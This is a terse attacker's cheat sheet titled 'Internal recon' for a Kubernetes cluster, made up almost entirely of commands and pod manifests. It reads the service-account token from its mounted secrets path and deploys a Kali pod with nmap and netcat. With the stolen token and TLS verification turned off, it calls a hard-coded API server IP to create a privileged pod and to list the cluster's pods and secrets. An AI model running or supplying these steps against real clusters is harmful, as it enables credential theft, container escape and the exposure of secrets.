Internal recon

tmux setenv NAMESPACE <namespace>

env | grep -i kube

cat /var/run/secrets/kubernetes.io/serviceaccount/token

cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

apiVersion: v1
kind: Pod
metadata:
  name: kali
  namespace: <some-valida-namespace>
spec:
  containers:
    - name: kali
      image: "kalilinux/kali-rolling"
      command:
        - sleep
        - infinity

kubectl apply -f kali.yaml 

kubectl exec --stdin --tty kali -n $NAMESPACE -- /bin/sh
/bin/bash
apt update
apt install -y nmap
apt install -y netcat-traditional

apiVersion: v1
kind: Pod
metadata:
  name: ubuntu
  namespace: <some-valida-namespace>
spec:
  containers:
    - name: ubuntu
      image: ubuntu
      securityContext:
          allowPrivilegeEscalation: True
      command:
        - sleep
        - infinity

kubectl apply -f ubuntu.yaml 

kubectl exec --stdin --tty ubuntu -n $NAMESPACE -- /bin/sh
/bin/bash
apt update
apt install -y curl
apt install -y jq
apt install -y vim

curl -H "Authorization: Bearer $TOKEN" https://34.28.85.34/api/v1/namespaces/$NAMESPACE/pods/ --insecure | jq ".items[].metadata.name"

cat > test-pod.json <<EOF
{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "name": "ubuntu",
        "namespace": "<some-valida-namespace>"
    },
    "spec": {
        "containers": [
            {
                "name": "ubuntu",
                "image": "ubuntu",
                "command": [
                    "sleep",
                    "infinity"
                ],
                "securityContext": {
                    "allowPrivilegeEscalation": true,
                    "privileged": true
                }
            }
        ]
    }
}
EOF

curl -k -v -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://34.28.85.34/api/v1/namespaces/$NAMESPACE/pods -d@test-pod.json 

curl -H "Authorization: Bearer $TOKEN" https://34.28.85.34/api/v1/namespaces/$NAMESPACE/secrets/ --insecure | jq ".items[].metadata.name"